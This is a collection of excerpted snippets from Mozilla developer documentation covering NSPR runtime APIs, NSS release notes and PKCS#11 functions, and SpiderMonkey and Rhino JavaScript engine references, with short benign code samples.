...the caller must not free the prdirentry structure.
... moreover, the prdirentry structure returned by each pr_readdir call is valid only until the next pr_readdir or pr_closedir call on the same prdir object.
PR_SendTo
returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent.
... the value -1 indicates a failure.
... the reason for the failure can be obtained by calling pr_geterror.
...the calling thread blocks until all bytes are sent, a timeout has occurred, or there is an error.
PR_SetConcurrency
virtual processors are actuallyglobal threads, each of which is designed to support an arbitrary number oflocal threads.
... since global threads are scheduled by the host operating system, this model is particularly applicable to multiprocessor architectures, where true parallelism is possible.
... however, it may also prove advantageous on uniprocessor systems to reduce the impact of having a locally scheduled thread calling incidental blocking functions.
... in such cases, all the threads being supported by the virtual processor will block, but those assigned to another virtual processor will be unaffected.
PR_Sleep
causes the current thread to yield for a specified amount of time.
... returns calling pr_sleep with a parameter equivalent to pr_interval_no_timeout is an error and results in a pr_failure error.
... calling pr_sleep with the value of ticks set to pr_interval_no_wait simply surrenders the processor to ready threads of the same priority.
... all other values of ticks cause pr_sleep to block the calling thread for the specified interval.
Process Initialization
pr_init pr_initialize pr_initialized pr_cleanup pr_disableclockinterrupts pr_blockclockinterrupts pr_unblockclockinterrupts pr_setconcurrency pr_processexit pr_abort module initialization initialization can be tricky in a threaded environment, especially initialization that must happen exactly once.
... pr_callonce ensures that such initialization code is called only once.
... this facility is recommended in situations where complicated global initialization is required.
... prcalloncetype prcalloncefn pr_callonce ...
NSPR API Reference
introduction to nspr nspr naming conventions nspr threads thread scheduling setting thread priorities preempting threads interrupting threads nspr thread synchronization locks and monitors condition variables nspr sample code nspr types calling convention types algebraic types 8-, 16-, and 32-bit integer types signed integers unsigned integers 64-bit integer types floating-point integer type native os integer types miscellaneous types size type pointer difference types boolean types status type for return values threads threading types and constants threading functions creating, joining, and identifying threads controlling thread priorities con...
...terrupting and yielding setting global thread concurrency getting a thread's scope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functions cached monitors cached monitor functions i/o types directory type file descriptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation functi...
...emory-mapped i/o functions anonymous pipe function polling functions pollable events manipulating layers network addresses network address types and constants network address functions atomic operations pr_atomicincrement pr_atomicdecrement pr_atomicset interval timing interval time type and constants interval functions date and time types and constants time parameter callback functions functions memory management operations memory allocation functions memory allocation macros string operations pl_strlen pl_strcpy pl_strdup pl_strfree floating point number to string conversion pr_strtod pr_dtoa pr_cnvtf long long (64-bit) integers bitmaps formatted printing linked lists linked list types prclist linked list macros ...
...g functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library search path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging conditional compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_log_mod...
NSS CERTVerify Log
certverifylog all the nss verify functions except, the *verifynow() functions, take a parameter called 'certverifylog'.
...the log tells you what the problem was with the chain and what certificate in the chain failed.
... to create a log: #include "secport.h" #include "certt.h" certverifylog *log; arena = port_newarena(512); log = port_arenaznew(arena,log); log->arena = arena; you can then pass this log into your favorite cert verify function.
... */ struct certverifylognodestr { certcertificate *cert; /* what cert had the error */ long error; /* what error was it?
NSS 3.12.9 release notes
bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_cms_decoder_work_data] bug 613394: november/december 2010 batch of nss root ca changes bug 610843: need way to recover softoken in child after fork() bug 617492: add pk11_keygenwithtemplate function to pk11wrap (for firefox sync) bug 610162: sha-512 and sha-384 hashes are incorrect for inputs of 512mb or larger when running under windows and other 32-bit platforms (fx 3.6.12 and 4.0b6) bug 518551: vfychain crashes in pkits tests.
... bug 536485: crash during ssl handshake in [@ intel_aes_decrypt_cbc_256] bug 444367: nss 3.12 softoken returns the certificate type of a certificate object as ckc_x_509_attr_cert.
... bug 596798: win_rand.c (among others) uses unsafe _snwprintf bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en/index.html#documentation">nss documentation.
... furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.15.3.1 release notes
bug 946351 - misissued google certificates from dcssi new in nss 3.15.3.1 new functionality no new major functionality is introduced in this release.
... this is a patch release to revoke trust of a subordinate ca certificate that was mis-used to generate a certificate used by a network appliance.
... bugs fixed in nss 3.15.3.1 bug 946351 - misissued google certificates from dcssi a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3.1&product=nss compatibility nss 3.15.3.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.17.4 release notes
notable changes in nss 3.17.4 bug 1084986: if an ssl/tls connection fails, because client and server don't have any common protocol version enabled, nss has been changed to report error code ssl_error_unsupported_version (instead of reporting ssl_error_no_cypher_overlap).
... bug 1112461: libpkix was fixed to prefer the newest certificate, if multiple certificates match.
... bugs fixed in nss 3.17.4 this bugzilla query returns all the bugs fixed in nss 3.17.4: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.17.4 compatibility nss 3.17.4 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.2.1 release notes
an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution.
... because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss.
... bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.2 release notes
applications that requested or attempted to use keys smaller then the minimum size would fail.
... however, this change in behaviour unintentionally broke existing nss applications that need to generate or use such keys, via apis such as seckey_creatersaprivatekey or seckey_createdhprivatekey.
... bugs fixed in nss 3.19.2 this bugzilla query returns all the bugs fixed in nss 3.19.2: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.19.2 compatibility nss 3.19.2 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.19.4 release notes
an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution.
... because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss.
... bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.20.1 release notes
an attacker that successfully exploited these issues can overflow the heap and may be able to obtain remote code execution.
... because nss includes portions of the affected nspr code at build time, it is necessary to use nspr 4.10.10 when building nss.
... bug 1205157 (nspr, cve-2015-7183): a logic bug in the handling of large allocations would allow exceptionally large allocations to be reported as successful, without actually allocating the requested memory.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.26 release notes
nss 3.26 requires netscape portable runtime (nspr) 4.12 or newer.
...new in nss 3.26 new functionality the selfserv test utility has been enhanced to support alpn (http/1.1) and 0-rtt added support for the system-wide crypto policy available on fedora linux, see http://fedoraproject.org/wiki/changes/cryptopolicy introduced build flag nss_disable_libpkix which allows compilation of nss without the libpkix library notable changes in nss 3.26 the following ca certificate was added cn = isrg root x1 sha-256 fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled, and alpn is enabled by default the nss test suite now completes with the experimental tls 1.3 code enabled several test improvements and additions, including a nist known answer test bugs f...
...ixed in nss 3.26 this bugzilla query returns all the bugs fixed in nss 3.26: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.26 compatibility nss 3.26 shared libraries are backwards compatible with all older nss 3.x shared libraries.
...applications that restrict their use of nss apis, to the functions listed in nss public functions, will remain compatible with future versions of the nss shared libraries.
NSS 3.27.1 release notes
this is a patch release to address a tls compatibility issue which some applications experienced with nss 3.27.
... however, some applications query the list of protocol versions that are supported by the nss library, enabling all supported tls protocol versions.
... because nss 3.27 enabled compilation of tls 1.3 (draft) by default, it caused those applications to enable tls 1.3 (draft).
...applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.29 release notes
nss 3.29 requires netscape portable runtime (nspr) 4.13.1 or newer.
... nss 3.29 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_29_rtm/src/ notable changes in nss 3.29 fixed a nss 3.28 regression in the signature scheme flexibility that causes connectivity issues between ios 8 clients and nss servers with ecdsa certificates (bug1334114).
... bugs fixed in nss 3.29 this bugzilla query returns all the bugs fixed in nss 3.29: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.29 compatibility nss 3.29 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.36.1 release notes
that change had caused an interoperability regression with operating systems that are limited to 600 k iterations.
... bugs fixed in nss 3.36.1 certain smartcard operations could result in a deadlock.
... this bugzilla query returns all the bugs fixed in nss 3.36.1: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.36.1 compatibility nss 3.36.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.42 release notes
new in nss 3.42 new functionality bug 818686 - support xdg basedir specification new functions none notable changes in nss 3.42 the following ca certificates were added: none the following ca certificates were removed: none added support for some of the testcases from the wycheproof project: bug 1508666 - added aes-gcm test cases bug 1508673 - added chacha20-poly1305 test cases bu...
...g 1514999 - added the curve25519 test cases thanks to jonas allmann for adapting these tests.
... bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
NSS 3.51 release notes
bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for ‘getfipsenv’ "defined but not used" bug 1615208 - send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility.
... bug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 1582169 - don't attempt to read the fips_enabled flag on the machine unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/...
...buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.51 compatibility nss 3.51 shared libraries are backward compatible with all older nss 3.x shared libraries.
...furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will remain compatible with future versions of the nss shared libraries.
Hashing - sample 1
if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
... * returns null if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsign...
...ecify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names[htype].hashname); if (htype == (hash_algtotal - 2)) fprintf(stderr, " or "); else if (htype != (hash_algtotal - 1)) fprintf(stderr, ", "); } fprintf(stderr, " (case ignored))\n"); fprintf(stderr, "%-20s define an input file to use (default is stdin)\n", "< input"); fprintf(stderr, "%-20s define an output file to use (default is stdout)\n", "> output"); exit(-1); } /* * check for the missing arguments */ static void printmsgandexit(const char *progname, char opt) { fprintf(stderr, "%s: option -%c requires an argume...
... + 1 : argv[0]; rv = nss_nodb_init("/tmp"); if (rv != secsuccess) { fprintf(stderr, "%s: nss_init failed in directory %s\n", progname, "/tmp"); return -1; } /* parse command line arguments */ optstate = pl_createoptstate(argc, argv, "t:"); while ((status = pl_getnextopt(optstate)) == pl_opt_ok) { switch (optstate->option) { case 't': require_arg(optstate->option, optstate->value); hashname = strdup(optstate->value); break; } } if (!hashname) usage(progname); /* convert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashname); ...
NSS Tech Notes
nss technical notes newsgroup: mozilla.dev.tech.crypto nss technical notes provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... tn3: all about certificate extensions.
... tn4: pulling certificate extension information out of ssl certificates.
... tn8: background information on libssl's cache functions and sids.
PKCS 7 functions
the public functions listed here perform pkcs #7 operations required by mail and news applications and by some of the nss tools.
...the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions sec_pkcs7addcertificate mxr 3.3 and later sec_pkcs7addrecipient mxr 3.2 and later sec_pkcs7addsigningtime mxr 3.2 and later sec_pkcs7containscertsorcrls mxr 3.4 and later sec_pkcs7contentisencrypted mxr 3.4 and later sec_pkcs7contentissigned mxr 3.4 and later sec_pkcs7contenttype mxr 3.2 and later sec_pkcs7copycontentinfo mxr 3.4 and later sec_pkcs7createcertsonly mxr 3.3 and later sec_pkcs7createdata mxr 3.2 and later s...
...xr 3.3 and later sec_pkcs7encodeitem mxr 3.9.3 and later sec_pkcs7encoderabort mxr 3.9 and later sec_pkcs7encoderfinish mxr 3.2 and later sec_pkcs7encoderstart mxr 3.2 and later sec_pkcs7encoderupdate mxr 3.2 and later sec_pkcs7getcertificatelist mxr 3.2 and later sec_pkcs7getcontent mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignercommonname mxr 3.4 and later sec_pkcs7getsigneremailaddress mxr 3.4 and later sec_pkcs7getsigningtime mxr 3.4 and lat...
FC_CloseAllSessions
name fc_closeallsessions - close all sessions between an application and a token.
... description fc_closeallsessions closes all sessions between an application and the token in the slot with the id slotid.
... the nss cryptographic module currently doesn't call the surrender callback function notify.
... (see pkcs #11 v2.20 section 11.17.1.) a user may call fc_closeallsessions without logging into the token (to assume the nss user role).
FC_Decrypt
pdata [out] pointer to location where recovered data is to be stored.
... pusdatalen [in,out] pointer to location where the length of recovered data is to be stored.
... description fc_decrypt decrypts a block of data according to the attributes of the previous call to fc_decryptinit.
... a user must log into the token (to assume the nss user role) before calling fc_decrypt.
FC_DecryptDigestUpdate
ppart [in] pointer to the location which receives the recovered data part or null.
...after calling both fc_decryptinit and fc_digestinit to set up the operations this function may be called multiple times.
... the operation is finished by calls to fc_digestfinal and fc_decryptfinal.
... a user must log into the token (to assume the nss user role) before calling fc_decryptdigestupdate.
FC_DecryptUpdate
ppart [out] pointer to location where recovered block is to be stored.
... puspartlen [in,out] pointer the location where the number of bytes of recovered data is to be stored.
... description fc_decryptupdate decrypts a block of data according to the attributes of the previous call to fc_decryptinit.
...a user must log into the token (to assume the nss user role) before calling fc_decryptupdate.
FC_DigestEncryptUpdate
pencryptedpart [in] pointer to the location which receives the digested and encrypted part or null.
...after calling both fc_digestinit and fc_encryptinit to set up the operations this function may be called multiple times.
... the operation is finished by calls to fc_digestfinal and fc_encryptfinal in that order.
... a user must log into the token (to assume the nss user role) before calling fc_digestencryptupdate.
FC_EncryptUpdate
pencryptedpart [out] pointer to location where encrypted block is to be stored.
... pusencryptedpartalen [out] pointer the location where the number of bytes of encrypted data is to be stored.
... description fc_encryptupdate encrypts a block of data according to the attributes of the previous call to fc_encryptinit.
...a user must log into the token (to assume the nss user role) before calling fc_encryptupdate.
FC_GetTokenInfo
flags: bit flags indicating capabilities and status of the device.
... ckf_rng (0x00000001): this device has a random number generator ckf_write_protected (0x00000002): this device is read-only ckf_login_required (0x00000004): this device requires the user to log in to use some of its services ckf_user_pin_initialized (0x00000008): the user's password has been initialized ckf_dual_crypto_operations (0x00000200): a single session with the token can perform dual cryptographic operations ckf_token_initialized (0x00000400): the token has been initialized.
... ulsessioncount: number of sessions that this application currently has open with the token ulrwsessioncount: number of read/write sessions that this application currently has open with the token hardwareversion: hardware version number, for example, 8.3 (major=0x08, minor=0x03), which are the version numbers of the certificate and key databases, respectively.
... a user may call fc_gettokeninfo without logging into the token (to assume the nss user role).
FC_Initialize
nss_nodb_init(""), which initializes nss with no databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescription='psm internal crypto services' cryptotokendescription='generic crypto services' dbtokendescription='software security device' cryptoslotdescription='psm internal cryptographic services' dbslotdescription='psm private keys' fipsslotde...
... only some of the lock functions were provided by the application.
... ckr_cant_lock: the ckf_os_locking_ok flag is not set in pinitargs->flags.
... the nss cryptographic module always uses os locking and doesn't know how to use the lock functions provided by the application.
FC_SignEncryptUpdate
pencryptedpart [in] pointer to the location which receives the signed and encrypted data part or null.
...after calling both fc_signinit and fc_encryptinit to set up the operations this function may be called multiple times.
... the operation is finished by calls to fc_signfinal and fc_encryptfinal.
... a user must log into the token (to assume the nss user role) before calling fc_signencryptupdate.
FC_VerifyInit
name fc_verifyinit - initialize a verification operation.
...pmechanism [in] mechanism to be used for the verification operation.
... description fc_verifyinit initializes a verification operation where the signature is an appendix to the data.
... a user must log into the token (to assume the nss user role) before calling fc_verifyinit.
FC_VerifyRecoverInit
name fc_verifyrecoverinit - initialize a verification operation where data is recoverable.
...pmechanism [in] mechanism to be used for verification.
... description fc_verifyrecoverinit initializes a signature verification operation where the (digest) data can be recovered from the signature.
... a user must log into the token (to assume the nss user role) before calling fc_verifyrecoverinit.
Rhino community
have a question that you can't find answer to in the rhino documentation?
...please use the new group instead, but the old one may be of historical interest.
...there may be some bugs there of historical interest.
... note that rhino has its own product category.
Rhino JavaScript compiler
the resulting java class files can then be loaded and executed at another time, providing a convenient method for transferring javascript, and for avoiding translation cost.
...functions and scripts compiled this way cannot be decompiled.
... this option can be used to avoid distributing source or simply to save space in the resulting class file.
... examples $ cat test.js java.lang.system.out.println("hi, mom!"); $ java org.mozilla.javascript.tools.jsc.main test.js $ ls *.class test.class $ java test hi, mom!
FOSS
feel free to add your own spidermonkey-based open source projects (and if necessary add categories)!
... flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascript to implement logic behind its gui, supporting calls from javascript to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascript bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl.
... python http://pypi.python.org/pypi/python-spidermonkey wxwidgets gluescript (formerly wxjavascript) code generators jsapigen - generates bindings for embedding spidermonkey in c applications extensions http://code.google.com/p/jslibs/ - zlib, sqlite, nspr, ode, libpng, libjpeg, libffi, (...) libraries for spidermonkey http://www.jsdb.org/ - a js shell with native objects for files, networks, databases, compression, email, etc.
...(bbs) and internet server (http/smtp/ftp) with extra internet services written in javascript (irc, imap, gopher, and many more) https://github.com/mindbit/libjssql/wiki - a library that aims to provide a generic sql api for javascript that is as similar as possible to jdbc miscellaneous serverjs, a standardization effort for the fragmented server-side javascript world 0 a.d., historical rts game with javascript scripting http://soubok.googlepages.com/javascript malzilla - tool for hunting malware by deobfuscating javascripts on web pages, using spidermonkey ...
Statistics API
json api addons can obtain the complete data in json format via an observer.
... allocated: integer (mb) - size of the javascript heap in mib at the start of the gc.
...gc work can be divided into phases, such as marking or sweeping.
... the division into phases is hierarchical, so a phase can be split into subphases.
INT_FITS_IN_JSVAL
if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i).
...in this case, the application can still convert i to a jsval using js_newnumbervalue.
...if i is an unsigned or 64-bit value, int_fits_in_jsval can silently give the wrong answer.
... starting in spidermonkey 1.8.5, jsval can store a full 32-bit integer, so this check isn't needed any longer for 32-bit integers.
JS::DeflateStringToUTF8Buffer
the caller must either ensure dst has enough space to encode the entire string, or pass the length of the buffer as dstlenp.
... in which case, the function will encode characters from the string until the buffer is exhausted.
...this can be less than the length of the string, if the buffer is exhausted before the string is fully encoded.
... examples char16_t uchars[] = { 0xd83e, 0xdd8a, 0 }; js::rootedstring str(cx, js_newucstringcopyn(cx, uchars, 2)); if (!str) return false; js::rooted<jsflatstring*> flatstr(cx, js_flattenstring(cx, str)); if (!flatstr) return false; size_t length = js::getdeflatedutf8stringlength(flatstr); char* buffer = static_cast<char*>(js_malloc(cx, length + 1)); if (!buffer) return false; js::deflatestringtoutf8buffer(flatstr, mozilla::rangedptr<char>(buffer, length)); buffer[length] = '\0'; printf("utf8: [%s]\n", buffer); js_free(cx, buffer); see also js::getdeflatedutf8stringlength bug 1034627 bug 1271014 -- added dstlenp and numcharsp ...
JS::NewFunctionFromSpec
in a js_threadsafe build, the caller must be in a request on this jscontext.
... fs const jsfunctionspec * a pointer to function specification.
... behavior handleid the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id).
... id is the result of a successful call to propertyspecnametopermanentid(cx, fs->name, &id).
JS::SourceBufferHolder
rules for use: the data array must be allocated with js_malloc or js_realloc if ownership is being granted to the sourcebufferholder.
... any code calling sourcebufferholder::take() must guarantee to keep the memory alive until js compilation completes.
... normally only the js engine should be calling take().
... example size_t length = 512; char16_t* chars = static_cast<char16_t*>(js_malloc(sizeof(char16_t) * length)); js::sourcebufferholder srcbuf(chars, length, js::sourcebufferholder::giveownership); js::compile(cx, obj, options, srcbuf); see also mxr id search for js::sourcebufferholder js::compile js::compilefunction js::evaluate bug 987556 ...
JSAutoCompartment
this article covers features introduced in spidermonkey 24 raii helper to enter a different compartment on the given context and automatically leave it once the jsautocompartment instance gets out of scope.
... syntax jsautocompartment(jscontext *cx, jsobject *target); jsautocompartment(jscontext *cx, jsscript *target); name type description cx jscontext * the context on which a cross-compartment call is needed.
...only objects in the current compartment can be accessed, so to access an object in a different compartment, this containing compartment has to be entered first.
...jsautocompartment guarantees that by automatically entering the given compartment and leaving it upon getting out of scope: void foo(jscontext *cx, jobject *obj) { // in some compartment 'c' { jsautocompartment ac(cx, obj); // constructor enters // in the compartment of 'obj' } // destructor leaves // back in compartment 'c' } see also mxr id search for jsautocompartment bug 860050 bug 833817 bug 786068 ...
JSConstDoubleSpec
syntax template<typename t> struct jsconstscalarspec { const char *name; t val; /* uint8_t flags; // obsolete from jsapi 35 uint8_t spare[3]; // obsolete from jsapi 35 */ }; typedef jsconstscalarspec<double> jsconstdoublespec; typedef jsconstscalarspec<int32_t> jsconstintegerspec; // added in spidermonkey 38 name type description val double or int32_t value for the double or integer.
...obsolete since jsapi 35 currently these can be 0 or more of the following values or'd: jsprop_enumerate: property is visible in for loops.
... jsprop_permanent: property cannot be deleted.
... jsprop_exported: property can be exported outside its object.
JSExtendedClass
a c/c++ program can use a jsextendedclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
...}; name type description base jsclass the basic class information and callbacks for this class.
... description to implement a custom class that uses any of the jsextendedclass callbacks: create a jsextendedclass and populate both the base fields and the extended fields.
...jsclass and jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null.
JSFUN_BOUND_METHOD
flag that indicates a function nominally associated with an object is bound, instead, to that object's parent.
... syntax jsfun_bound_method description this macro exists only for backward compatibility with existing applications.
... its use is deprecated.
...jsfun_bound_method is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called.
JSFunction
as a result, some apis (such as js_callfunction) that operate on jsfunctions do not work properly with closures.
...if the application can't be sure that a given function jsobject is either native or jsapi-compiled, it must not use the affected apis.
... instead of using js_callfunction, for example, it must call js_callfunctionvalue.
... function objects created by calling js_newfunction have two reserved slots for the application's use.
JSMarkOp
jsmarkop is the type of the jsclass.mark callback in spidermonkey 1.7 and earlier.
... in spidermonkey 1.8, jsmarkop will be deprecated.
... description call js_markgcthing for each gc thing directly reachable from obj.
... jsclass hooks jsclass offers the following hook: the javascript engine calls the jsclass.mark callback during the mark phase of garbage collection.
JSObjectOps.enumerate
the jsobjectops.enumerate callback implements iteration over object properties.
... the type of the callback is jsnewenumerateop.
... for native objects, the enumerate callback first checks the jsclass_new_enumerate flag of the object's class.
... if the flag is present, enumerate simply delegates the call to jsclass.enumerate.
JSObjectOps.getRequiredSlot
the jsobjectops.getrequiredslot and setrequiredslot callbacks get and set a required slot—one that should already have been allocated.
... description get and set a required slot, one that should already have been allocated.
... these operations are infallible, so required slots must be pre-allocated, or implementations must suppress out-of-memory errors.
... the native ops (js_objectops, see js/src/jsobj.cpp) access slots reserved by including a call to the jsclass_has_reserved_slots(n) macro in the jsclass.flags initializer.
JSReserveSlotsOp
description warning: jsapi applications should not use this hook.
... a class cannot freely use a reserveslots hook to reserve a different number of slots for each object.
... rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes such as function, call, and block).
... jsclass hooks jsclass offers the following hook: the jsclass.reserveslots callback is called each time a new object is created.
JSVAL_UNLOCK
syntax jsval_unlock(cx,v) description jsval_unlock is a deprecated feature that is supported only for backward compatibility with existing applications.
... to unlock a value, use local roots with js_removeroot.
... jsval_unlock unlocks a previously locked js value, v, so it can be garbage collected.
...if unlocking is successful, or v not affected by garbage collection because it is not an object, string, or double value, jsval_unlock evaluates to true.
JS_AliasProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if the property is currently out of scope, already exists, or the alias itself cannot be assigned to the property, js_aliasproperty does not report an error, but returns js_false.
... once you create an alias, you can reassign it to other properties as needed.
... aliases can also be deleted.
JS_CompileScriptForPrincipals
in a js_threadsafe build, the caller must be in a request on this jscontext.
...length indicates the length of the script, in characters.
... the application is responsible for ensuring that the new compiled script is cleaned up later—either by calling js_destroyscript() directly or by calling js_newscriptobject(), in which case the garbage collector cleans up the script.
... warning: this api is subject to bug 438633, which can cause crashes in almost any program that uses js_destroyscript().
JS_DecompileFunction
in a js_threadsafe build, the caller must be in a request on this jscontext.
... if you decompile a function that does not make a native c call, then the text created by js_decompilefunction is a complete function declaration suitable for re-parsing.
... if you decompile a function that makes a native c call, the body of the function contains the text "native code'" and cannot be re-parsed.
... see also mxr id search for js_decompilefunction js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DecompileFunctionBody
in a js_threadsafe build, the caller must be in a request on this jscontext.
...if you decompile a function that makes a native c call, the body of the function only contains the text "[native code]".
... notes to decompile a complete function, including its body and declaration, call js_decompilefunction instead.
... see also mxr id search for js_decompilefunctionbody js_decompilescript js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_definefunction js_definefunctions js_getfunctionobject js_newfunction js_setbranchcallback js_valuetofunction ...
JS_DefineConstDoubles
in a js_threadsafe build, the caller must be in a request on this jscontext.
... obsolete from jsapi 35 each property is automatically assigned attributes as specified in the flags field of the jsconstdoublespec/jsconstintegerspec structure pointed to by cds/cis.
... if flags is set to 0, the attributes for the property are automatically set to jsprop_permanent | jsprop_readonly.
...on success, js_defineconstdoubles/js_defineconstintegers returns true, indicating it has created all properties listed in the array.
